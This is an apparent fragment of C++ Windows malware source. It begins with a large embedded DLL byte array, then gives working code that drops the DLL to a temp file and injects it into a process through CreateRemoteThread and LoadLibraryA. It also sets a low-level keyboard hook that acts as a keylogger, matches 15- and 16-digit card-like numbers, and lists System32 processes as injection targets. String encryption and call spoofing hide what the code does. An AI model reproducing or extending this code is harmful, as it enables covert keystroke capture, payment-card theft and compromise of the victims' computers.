0xAD, 0x00, 0x00, 0x04, 0x5B, 0x00, 0x00, 0x08, 0x5C, 0x00, 0x00, 0x18, 0xAD, 0x00, 0x00, 0x08, 0x5C, 0x00, 0x00, 0x0E, 0x5C, 0x00, 0x00, 0x34, 0xAD, 0x00, 0x00, 0x0E, 0x5C, 0x00, 0x00, 0x14, 0x5C, 0x00, 0x00, 0x44, 0xAD, 0x00, 0x00, 0x20, 0x5C, 0x00, 0x00, 0x2D, 0x5D, 0x00, 0x00, 0x60, 0xAD, 0x00, 0x00, 0x30, 0x5D, 0x00, 0x00, 0xF7, 0x5D, 0x00, 0x00, 0xA0, 0xAD, 0x00, 0x00, 0x00, 0x5E, 0x00, 0x00, 0x4E, 0x5E, 0x00, 0x00, 0xB8, 0xAD, 0x00, 0x00, 0x4E, 0x5E, 0x00, 0x00, 0xF0, 0x5E, 0x00, 0x00, 0xC8, 0xAD, 0x00, 0x00, 0xF0, 0x5E, 0x00, 0x00, 0xF6, 0x5E, 0x00, 0x00, 0xDC, 0xAD, 0x00, 0x00, 0xF6, 0x5E, 0x00, 0x00, 0xFC, 0x5E, 0x00, 0x00, 0xEC, 0xAD, 0x00, 0x00, 0x00, 0x5F, 0x00, 0x00, 0x30, 0x5F, 0x00, 0x00, 0x00, 0xAE, 0x00, 0x00, 0x30, 0x5F, 0x00, 0x00, 0x59, 0x60, 0x00, 0x00, 0x10, 0xAE, 0x00, 0x00, 0x59, 0x60, 0x00, 0x00, 0x5F, 0x60, 0x00, 0x00, 0x2C, 0xAE, 0x00, 0x00, 0x5F, 0x60, 0x00, 0x00, 0x65, 0x60, 0x00, 0x00, 0x3C, 0xAE, 0x00, 0x00, 0x70, 0x60, 0x00, 0x00, 0xA8, 0x60, 0x00, 0x00, 0x58, 0xAE, 0x00, 0x00, 0xA8, 0x60, 0x00, 0x00, 0xE9, 0x61, 0x00, 0x00, 0x68, 0xAE, 0x00, 0x00, 0xE9, 0x61, 0x00, 0x00, 0xEF, 0x61, 0x00, 0x00, 0x84, 0xAE, 0x00, 0x00, 0xEF, 0x61, 0x00, 0x00, 0xF5, 0x61, 0x00, 0x00, 0x94, 0xAE, 0x00, 0x00, 0x20, 0x62, 0x00, 0x00, 0x8B, 0x64, 0x00, 0x00, 0xB0, 0xAE, 0x00, 0x00, 0x90, 0x64, 0x00, 0x00, 0x48, 0x66, 0x00, 0x00, 0xE8, 0xAE, 0x00, 0x00, 0x50, 0x66, 0x00, 0x00, 0x90, 0x66, 0x00, 0x00, 0x4C, 0xAF, 0x00, 0x00, 0x90, 0x66, 0x00, 0x00, 0xB8, 0x67, 0x00, 0x00, 0x5C, 0xAF, 0x00, 0x00, 0xB8, 0x67, 0x00, 0x00, 0xBF, 0x67, 0x00, 0x00, 0x78, 0xAF, 0x00, 0x00, 0xBF, 0x67, 0x00, 0x00, 0xC5, 0x67, 0x00, 0x00, 0x94, 0xAF, 0x00, 0x00, 0xC5, 0x67, 0x00, 0x00, 0xCB, 0x67, 0x00, 0x00, 0x78, 0xAF, 0x00, 0x00, 0xD0, 0x67, 0x00, 0x00, 0x34, 0x68, 0x00, 0x00, 0x78, 0xA6, 0x00, 0x00, 0x40, 0x68, 0x00, 0x00, 0x52, 0x68, 0x00, 0x00, 0x94, 0xA6, 0x00, 0x00, 0x80, 0x68, 0x00, 0x00, 0xB8, 0x68, 0x00, 0x00, 0x78, 0xA6, 0x00, 0x00, 0x00, 0x69, 0x00, 0x00, 0x1E, 0x69, 0x00, 0x00, 0xA8, 0xAF, 0x00, 0x00, 0x20, 0x69, 0x00, 0x00, 0x54, 0x69, 0x00, 0x00, 0x78, 0xA6, 0x00, 0x00, 0x54, 0x69, 0x00, 0x00, 0x27, 0x6A, 0x00, 0x00, 0xB4, 0xAF, 0x00, 0x00, 0x28, 0x6A, 0x00, 0x00, 0x3C, 0x6A, 0x00, 0x00, 0x94, 0xA6, 0x00, 0x00, 0x3C, 0x6A, 0x00, 0x00, 0xD9, 0x6A, 0x00, 0x00, 0xAC, 0xAF, 0x00, 0x00, 0xDC, 0x6A, 0x00, 0x00, 0x49, 0x6B, 0x00, 0x00, 0xBC, 0xAF, 0x00, 0x00, 0x4C, 0x6B, 0x00, 0x00, 0xBD, 0x6B, 0x00, 0x00, 0xC8, 0xAF, 0x00, 0x00, 0xC0, 0x6B, 0x00, 0x00, 0xFC, 0x6B, 0x00, 0x00, 0x78, 0xA6, 0x00, 0x00, 0x0C, 0x6C, 0x00, 0x00, 0x37, 0x6C, 0x00, 0x00, 0x78, 0xA6, 0x00, 0x00, 0x38, 0x6C, 0x00, 0x00, 0x88, 0x6C, 0x00, 0x00, 0x94, 0xA6, 0x00, 0x00, 0x88, 0x6C, 0x00, 0x00, 0x9E, 0x6D, 0x00, 0x00, 0xD4, 0xAF, 0x00, 0x00, 0xA0, 0x6D, 0x00, 0x00, 0x20, 0x6E, 0x00, 0x00, 0x10, 0xB0, 0x00, 0x00, 0x20, 0x6E, 0x00, 0x00, 0x48, 0x6F, 0x00, 0x00, 0x64, 0xB0, 0x00, 0x00, 0x48, 0x6F, 0x00, 0x00, 0x85, 0x6F, 0x00, 0x00, 0xD4, 0xAB, 0x00, 0x00, 0x88, 0x6F, 0x00, 0x00, 0xC1, 0x6F, 0x00, 0x00, 0x94, 0xA6, 0x00, 0x00, 0xC4, 0x6F, 0x00, 0x00, 0xF8, 0x6F, 0x00, 0x00, 0x94, 0xA6, 0x00, 0x00, 0xF8, 0x6F, 0x00, 0x00, 0x0D, 0x70, 0x00, 0x00, 0x94, 0xA6, 0x00, 0x00, 0x10, 0x70, 0x00, 0x00, 0x38, 0x70, 0x00, 0x00, 0x94, 0xA6, 0x00, 0x00, 0x38, 0x70, 0x00, 0x00, 0x4D, 0x70, 0x00, 0x00, 0x94, 0xA6, 0x00, 0x00, 0x50, 0x70, 0x00, 0x00, 0xB0, 0x70, 0x00, 0x00, 0xBC, 0xB0, 0x00, 0x00, 0xB0, 0x70, 0x00, 0x00, 0xE0, 0x70, 0x00, 0x00, 0x94, 0xA6, 0x00, 0x00, 0xE0, 0x70, 0x00, 0x00, 0xF4, 0x70, 0x00, 0x00, 0x94, 0xA6, 0x00, 0x00, 0xF4, 0x70, 0x00, 0x00, 0x2E, 0x71, 0x00, 0x00, 0x94, 0xA6, 0x00, 0x00, 0x30, 0x71, 0x00, 0x00, 0xBB, 0x71, 0x00, 0x00, 0x78, 0xA6, 0x00, 0x00, 0xBC, 0x71, 0x00, 0x00, 0x54, 0x72, 0x00, 0x00, 0x94, 0xB0, 0x00, 0x00, 0x54, 0x72, 0x00, 0x00, 0x78, 0x72, 0x00, 0x00, 0x78, 0xA6, 0x00, 0x00, 0x78, 0x72, 0x00, 0x00, 0xA1, 0x72, 0x00, 0x00, 0x78, 0xA6, 0x00, 0x00, 0xA4, 0x72, 0x00, 0x00, 0xDE, 0x72, 0x00, 0x00, 0x78, 0xA6, 0x00, 0x00, 0xE0, 0x72, 0x00, 0x00, 0xF7, 0x72, 0x00, 0x00, 0x94, 0xA6, 0x00, 0x00, 0x1C, 0x73, 0x00, 0x00, 0x3C, 0x73, 0x00, 0x00, 0x8C, 0xA6, 0x00, 0x00, 0x3C, 0x73, 0x00, 0x00, 0xE8, 0x73, 0x00, 0x00, 0xD0, 0xB0, 0x00, 0x00, 0x14, 0x74, 0x00, 0x00, 0x2F, 0x74, 0x00, 0x00, 0x94, 0xA6, 0x00, 0x00, 0x40, 0x74, 0x00, 0x00, 0x88, 0x75, 0x00, 0x00, 0xDC, 0xB0, 0x00, 0x00, 0x88, 0x75, 0x00, 0x00, 0xC4, 0x75, 0x00, 0x00, 0x80, 0xA6, 0x00, 0x00, 0xC4, 0x75, 0x00, 0x00, 0x00, 0x76, 0x00, 0x00, 0x80, 0xA6, 0x00, 0x00, 0x00, 0x76, 0x00, 0x00, 0xCA, 0x78, 0x00, 0x00, 0xEC, 0xB0, 0x00, 0x00, 0x5C, 0x79, 0x00, 0x00, 0x79, 0x79, 0x00, 0x00, 0x94, 0xA6, 0x00, 0x00, 0x7C, 0x79, 0x00, 0x00, 0xD7, 0x79, 0x00, 0x00, 0x0C, 0xB1, 0x00, 0x00, 0xD8, 0x79, 0x00, 0x00, 0x57, 0x7A, 0x00, 0x00, 0x14, 0xB1, 0x00, 0x00, 0x80, 0x7A, 0x00, 0x00, 0x82, 0x7A, 0x00, 0x00, 0x00, 0xB1, 0x00, 0x00, 0xA0, 0x7A, 0x00, 0x00, 0xA6, 0x7A, 0x00, 0x00, 0x08, 0xB1, 0x00, 0x00, 0xB0, 0x7A, 0x00, 0x00, 0xDB, 0x7A, 0x00, 0x00, 0x04, 0xA7, 0x00, 0x00, 0xDB, 0x7A, 0x00, 0x00, 0x06, 0x7B, 0x00, 0x00, 0x04, 0xA7, 0x00, 0x00, 0x06, 0x7B, 0x00, 0x00, 0x31, 0x7B, 0x00, 0x00, 0x04, 0xA7, 0x00, 0x00, 0x31, 0x7B, 0x00, 0x00, 0x5C, 0x7B, 0x00, 0x00, 0x04, 0xA7, 0x00, 0x00, 0x60, 0x7B, 0x00, 0x00, 0x8E, 0x7B, 0x00, 0x00, 0x68, 0xA7, 0x00, 0x00, 0xAC, 0x7B, 0x00, 0x00, 0xD2, 0x7B, 0x00, 0x00, 0x68, 0xA7, 0x00, 0x00, 0xEC, 0x7B, 0x00, 0x00, 0x12, 0x7C, 0x00, 0x00, 0x68, 0xA7, 0x00, 0x00, 0x20, 0x7C, 0x00, 0x00, 0x47, 0x7C, 0x00, 0x00, 0x04, 0xA7, 0x00, 0x00, 0x47, 0x7C, 0x00, 0x00, 0x6B, 0x7C, 0x00, 0x00, 0x04, 0xA7, 0x00, 0x00, 0x6B, 0x7C, 0x00, 0x00, 0xA8, 0x7C, 0x00, 0x00, 0x04, 0xA7, 0x00, 0x00, 0xA8, 0x7C, 0x00, 0x00, 0xD4, 0x7C, 0x00, 0x00, 0x04, 0xA7, 0x00, 0x00, 0xD4, 0x7C, 0x00, 0x00, 0xFF, 0x7C, 0x00, 0x00, 0x04, 0xA7, 0x00, 0x00, 0xFF, 0x7C, 0x00, 0x00, 0x26, 0x7D, 0x00, 0x00, 0x04, 0xA7, 0x00, 0x00, 0x26, 0x7D, 0x00, 0x00, 0x4A, 0x7D, 0x00, 0x00, 0x04, 0xA7, 0x00, 0x00, 0x4A, 0x7D, 0x00, 0x00, 0x71, 0x7D, 0x00, 0x00, 0x04, 0xA7, 0x00, 0x00, 0x71, 0x7D, 0x00, 0x00, 0x98, 0x7D, 0x00, 0x00, 0x04, 0xA7, 0x00, 0x00, 0x98, 0x7D, 0x00, 0x00, 0xBF, 0x7D, 0x00, 0x00, 0x04, 0xA7, 0x00, 0x00, 0xDC, 0x7D, 0x00, 0x00, 0x0A, 0x7E, 0x00, 0x00, 0x68, 0xA7, 0x00, 0x00, 0x70, 0x7E, 0x00, 0x00, 0xA1, 0x7E, 0x00, 0x00, 0x68, 0xA7, 0x00, 0x00, 0xD7, 0x7E, 0x00, 0x00, 0x08, 0x7F, 0x00, 0x00, 0x68, 0xA7, 0x00, 0x00, 0x1A, 0x7F, 0x00, 0x00, 0x38, 0x7F, 0x00, 0x00, 0xE8, 0xA9, 0x00, 0x00, 0xA8, 0x7F, 0x00, 0x00, 0xE3, 0x7F, 0x00, 0x00, 0x44, 0xAF, 0x00, 0x00, 0xE3, 0x7F, 0x00, 0x00, 0xFA, 0x7F, 0x00, 0x00, 0x68, 0xA7, 0x00, 0x00, 0xFA, 0x7F, 0x00, 0x00, 0x13, 0x80, 0x00, 0x00, 0x68, 0xA7, 0x00, 0x00, 0x13, 0x80, 0x00, 0x00, 0x27, 0x80, 0x00, 0x00, 0x68, 0xA7, 0x00, 0x00, 0x27, 0x80, 0x00, 0x00, 0x5D, 0x80, 0x00, 0x00, 0x8C, 0xB0, 0x00, 0x00, 0x5D, 0x80, 0x00, 0x00, 0x75, 0x80, 0x00, 0x00, 0xB4, 0xB0, 0x00, 0x00, 0x78, 0x80, 0x00, 0x00, 0xD3, 0x80, 0x00, 0x00, 0x78, 0xA6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x18, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x09, 0x04, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x60, 0xF0, 0x00, 0x00, 0x7D, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3C, 0x3F, 0x78, 0x6D, 0x6C, 0x20, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E, 0x3D, 0x27, 0x31, 0x2E, 0x30, 0x27, 0x20, 0x65, 0x6E, 0x63, 0x6F, 0x64, 0x69, 0x6E, 0x67, 0x3D, 0x27, 0x55, 0x54, 0x46, 0x2D, 0x38, 0x27, 0x20, 0x73, 0x74, 0x61, 0x6E, 0x64, 0x61, 0x6C, 0x6F, 0x6E, 0x65, 0x3D, 0x27, 0x79, 0x65, 0x73, 0x27, 0x3F, 0x3E, 0x0D, 0x0A, 0x3C, 0x61, 0x73, 0x73, 0x65, 0x6D, 0x62, 0x6C, 0x79, 0x20, 0x78, 0x6D, 0x6C, 0x6E, 0x73, 0x3D, 0x27, 0x75, 0x72, 0x6E, 0x3A, 0x73, 0x63, 0x68, 0x65, 0x6D, 0x61, 0x73, 0x2D, 0x6D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x2D, 0x63, 0x6F, 0x6D, 0x3A, 0x61, 0x73, 0x6D, 0x2E, 0x76, 0x31, 0x27, 0x20, 0x6D, 0x61, 0x6E, 0x69, 0x66, 0x65, 0x73, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E, 0x3D, 0x27, 0x31, 0x2E, 0x30, 0x27, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x3C, 0x74, 0x72, 0x75, 0x73, 0x74, 0x49, 0x6E, 0x66, 0x6F, 0x20, 0x78, 0x6D, 0x6C, 0x6E, 0x73, 0x3D, 0x22, 0x75, 0x72, 0x6E, 0x3A, 0x73, 0x63, 0x68, 0x65, 0x6D, 0x61, 0x73, 0x2D, 0x6D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x2D, 0x63, 0x6F, 0x6D, 0x3A, 0x61, 0x73, 0x6D, 0x2E, 0x76, 0x33, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x65, 0x63, 0x75, 0x72, 0x69, 0x74, 0x79, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x72, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x65, 0x64, 0x50, 0x72, 0x69, 0x76, 0x69, 0x6C, 0x65, 0x67, 0x65, 0x73, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x72, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x65, 0x64, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x69, 0x6F, 0x6E, 0x4C, 0x65, 0x76, 0x65, 0x6C, 0x20, 0x6C, 0x65, 0x76, 0x65, 0x6C, 0x3D, 0x27, 0x61, 0x73, 0x49, 0x6E, 0x76, 0x6F, 0x6B, 0x65, 0x72, 0x27, 0x20, 0x75, 0x69, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x3D, 0x27, 0x66, 0x61, 0x6C, 0x73, 0x65, 0x27, 0x20, 0x2F, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x72, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x65, 0x64, 0x50, 0x72, 0x69, 0x76, 0x69, 0x6C, 0x65, 0x67, 0x65, 0x73, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, 0x65, 0x63, 0x75, 0x72, 0x69, 0x74, 0x79, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x3C, 0x2F, 0x74, 0x72, 0x75, 0x73, 0x74, 0x49, 0x6E, 0x66, 0x6F, 0x3E, 0x0D, 0x0A, 0x3C, 0x2F, 0x61, 0x73, 0x73, 0x65, 0x6D, 0x62, 0x6C, 0x79, 0x3E, 0x0D, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, 0xA0, 0x00, 0x00, 0x00, 0xD8, 0xA3, 0xE0, 0xA3, 0xE8, 0xA3, 0xF0, 0xA3, 0xF8, 0xA3, 0x08, 0xA4, 0x18, 0xA4, 0x60, 0xA4, 0x68, 0xA4, 0x70, 0xA4, 0x78, 0xA4, 0xA0, 0xA4, 0xA8, 0xA4, 0xB0, 0xA4, 0xB8, 0xA4, 0xC0, 0xA4, 0xC8, 0xA4, 0xE0, 0xA4, 0xE8, 0xA4, 0xF0, 0xA4, 0xC0, 0xA5, 0xC8, 0xA5, 0xD0, 0xA5, 0xD8, 0xA5, 0xE0, 0xA5, 0xE8, 0xA5, 0xF0, 0xA5, 0xF8, 0xA5, 0x00, 0xA6, 0x08, 0xA6, 0x10, 0xA6, 0x18, 0xA6, 0x20, 0xA6, 0x28, 0xA6, 0x30, 0xA6, 0x38, 0xA6, 0x40, 0xA6, 0x48, 0xA6, 0x50, 0xA6, 0x58, 0xA6, 0x60, 0xA6, 0x68, 0xA6, 0x70, 0xA6, 0x78, 0xA6, 0x80, 0xA6, 0x88, 0xA6, 0x98, 0xA6, 0xA0, 0xA6, 0xA8, 0xA6, 0xB0, 0xA6, 0xB8, 0xA6, 0xC0, 0xA6, 0xC8, 0xA6, 0xD0, 0xA6, 0xD8, 0xA6, 0xE0, 0xA6, 0xE8, 0xA6, 0xF0, 0xA6, 0xF8, 0xA6, 0x00, 0xA7, 0x08, 0xA7, 0x10, 0xA7, 0x18, 0xA7, 0x20, 0xA7, 0x28, 0xA7, 0xF0, 0xA7, 0xF8, 0xA7, 0x68, 0xA8, 0x80, 0xA8, 0x88, 0xA8, 0x10, 0xA9, 0x28, 0xA9, 0x30, 0xA9, 0x38, 0xA9, 0x40, 0xA9, 0x48, 0xA9, 0x00, 0xD0, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0xB8, 0xA0, 0xE0, 0xA0, 0x08, 0xA1, 0x30, 0xA1, 0x60, 0xA1, 0x88, 0xA1, 0xC0, 0xA1, 0xE0, 0xA1, 0x30, 0xA2, 0x80, 0xA2, 0xD8, 0xA2, 0x00, 0xA3, 0x30, 0xA3, 0x80, 0xA3, 0xD0, 0xA3, 0x30, 0xA4, 0x78, 0xA4, 0xC0, 0xA4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; typedef LONG NTSTATUS; #ifndef NT_SUCCESS #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) #endif std::string WStringToUtf8(const std::wstring& w) { int sz = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, nullptr, 0, nullptr, nullptr); std::string s(sz, '\0'); WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, &s[0], sz, nullptr, nullptr); if (!s.empty() && s.back() == '\0') s.pop_back(); return s; } struct HandleGuard { HANDLE h_; explicit HandleGuard(HANDLE h = nullptr) : h_(h) { } ~HandleGuard() { if (h_ && h_ != INVALID_HANDLE_VALUE) { CloseHandle(h_); } } HANDLE get() const { return h_; } void reset(HANDLE h = nullptr) { if (h_ && h_ != INVALID_HANDLE_VALUE) CloseHandle(h_); h_ = h; } }; inline void debug(const std::string& msg) { std::cout << EC("[#] ") << msg << std::endl; } void CleanupPreviousRun() { char tmp[MAX_PATH]; if (GetTempPathA(MAX_PATH, tmp)) { std::string keyf = std::string(tmp) + EC("crx"); DeleteFileA(keyf.c_str()); } } DWORD GetProcessIdByName2(const std::wstring& procName) { HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (snap == INVALID_HANDLE_VALUE) { return 0; } PROCESSENTRY32W entry{}; entry.dwSize = sizeof(entry); DWORD pid = 0; if (Process32FirstW(snap, &entry)) { do { if (procName == entry.szExeFile) { pid = entry.th32ProcessID; break; } } while (Process32NextW(snap, &entry)); } CloseHandle(snap); return pid; } bool InjectWithLoadLibrary(HANDLE proc) { printf(EC("InjectWithLoadLibrary: begin")); // ---- Injection Logic (your original code) ---- char tempPath[MAX_PATH]; char tempFile[MAX_PATH]; if (!GetTempPathA(MAX_PATH, tempPath)) { printf(EC("Failed to get temp path")); return false; } if (!GetTempFileNameA(tempPath, EC("dms"), 0, tempFile)) { printf(EC("Failed to get temp file name")); return false; } printf(EC("Temporary DLL path:")); std::ofstream tempDll(tempFile, std::ios::binary); if (!tempDll.is_open()) { printf(EC("Failed to open temp file for writing")); return false; } tempDll.write(reinterpret_cast(Delel.data()), Delel.size()); tempDll.close(); std::string dllPath = tempFile; SIZE_T size = dllPath.size() + 1; LPVOID rem = VirtualAllocEx(proc, nullptr, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!rem) { printf(EC("VirtualAllocEx failed")); return false; } printf(EC("WriteProcessMemory of DLL path")); if (!WriteProcessMemory(proc, rem, dllPath.c_str(), size, nullptr)) { printf(EC("WriteProcessMemory failed")); VirtualFreeEx(proc, rem, 0, MEM_RELEASE); return false; } auto loader = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "LoadLibraryA"); if (!loader) { printf(EC("GetProcAddress failed")); VirtualFreeEx(proc, rem, 0, MEM_RELEASE); return false; } printf(EC("Calling CreateRemoteThread")); HandleGuard th(CreateRemoteThread(proc, nullptr, 0, loader, rem, 0, nullptr)); if (!th.get()) { printf(EC("CreateRemoteThread failed")); VirtualFreeEx(proc, rem, 0, MEM_RELEASE); return false; } WaitForSingleObject(th.get(), INFINITE); printf(EC("Remote thread finished")); VirtualFreeEx(proc, rem, 0, MEM_RELEASE); if (!DeleteFileA(tempFile)) { printf(EC("Failed to delete temporary DLL file")); } printf(EC("InjectWithLoadLibrary: done")); return true; } void KeyboardThread() { try { SPOOF_FUNC; HANDLE Terresa = GetCurrentThread(); SetThreadPriority(Terresa, THREAD_PRIORITY_BELOW_NORMAL); hHook = SetWindowsHookExA(WH_KEYBOARD_LL, KeyboardProc, NULL, 0); if (hHook == NULL) { return; } MSG msg; while (GetMessage(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessageA(&msg); } if (hHook) { UnhookWindowsHookEx(hHook); hHook = NULL; } } catch (...) { if (hHook) { UnhookWindowsHookEx(hHook); hHook = NULL; } } } std::string FindTwelveDigitNumber(const std::string& input) { SPOOF_FUNC; // Define a regular expression pattern to match a 16-digit number std::regex pattern16(EC("\\d{16}$")); std::smatch match16; // Use regex_search to find the first match in the input string if (std::regex_search(input, match16, pattern16)) { return match16.str(); } else { // Define a regular expression pattern to match a 15-digit number std::regex pattern15(EC("\\d{15}$")); std::smatch match15; // Use regex_search to find the first match in the input string if (std::regex_search(input, match15, pattern15)) { if (!match15.str().empty() && match15.str()[0] == '3') { return match15.str(); } } return ""; // Return an empty string if no match is found } } LPCWSTR GetInjekt() { static const std::vector processNames = { EC(L"C:\\Windows\\System32\\dllhost.exe"), EC(L"C:\\Windows\\System32\\svchost.exe"), EC(L"C:\\Windows\\System32\\DiskSnapshot.exe"), EC(L"C:\\Windows\\System32\\fontdrvhost.exe"), EC(L"C:\\Windows\\System32\\icacls.exe"), EC(L"C:\\Windows\\System32\\IESettingSync.exe"), EC(L"C:\\Windows\\System32\\ktmutil.exe"), EC(L"C:\\Windows\\System32\\label.exe"), EC(L"C:\\Windows\\System32\\LegacyNetUXHost.exe"), EC(L"C:\\Windows\\System32\\licensingdiag.exe"), EC(L"C:\\Windows\\System32\\LockAppHost.exe"), EC(L"C:\\Windows\\System32\\lodctr.exe"), EC(L"C:\\Windows\\System32\\logman.exe"), EC(L"C:\\Windows\\System32\\LsaIso.exe"), EC(L"C:\\Windows\\System32\\makecab.exe"), EC(L"C:\\Windows\\System32\\mmgaserver.exe"), EC(L"C:\\Windows\\System32\\mountvol.exe"), EC(L"C:\\Windows\\System32\\netbtugc.exe"), EC(L"C:\\Windows\\System32\\odbcconf.exe"), EC(L"C:\\Windows\\System32\\PATHPING.EXE"), EC(L"C:\\Windows\\System32\\pcalua.exe"), EC(L"C:\\Windows\\System32\\print.exe"), EC(L"C:\\Windows\\System32\\reg.exe"), EC(L"C:\\Windows\\System32\\sc.exe"), EC(L"C:\\Windows\\System32\\sdchange.exe"), EC(L"C:\\Windows\\System32\\SecureBootEncodeUEFI.exe"), EC(L"C:\\Windows\\System32\\SecurityHealthHost.exe"), EC(L"C:\\Windows\\System32\\SensorDataService.exe"), EC(L"C:\\Windows\\System32\\SgrmLpac.exe"), EC(L"C:\\Windows\\System32\\sihost.exe"), EC(L"C:\\Windows\\System32\\Spectrum.exe"), EC(L"C:\\Windows\\System32\\SppExtComObj.Exe"), EC(L"C:\\Windows\\System32\\sxstrace.exe"), EC(L"C:\\Windows\\System32\\SyncHost.exe"), EC(L"C:\\Windows\\System32\\TapiUnattend.exe"), EC(L"C:\\Windows\\System32\\TCPSVCS.EXE"), EC(L"C:\\Windows\\System32\\TieringEngineService.exe"), EC(L"C:\\Windows\\System32\\tttracer.exe"), EC(L"C:\\Windows\\System32\\ucsvc.exe"), EC(L"C:\\Windows\\System32\\unlodctr.exe"), 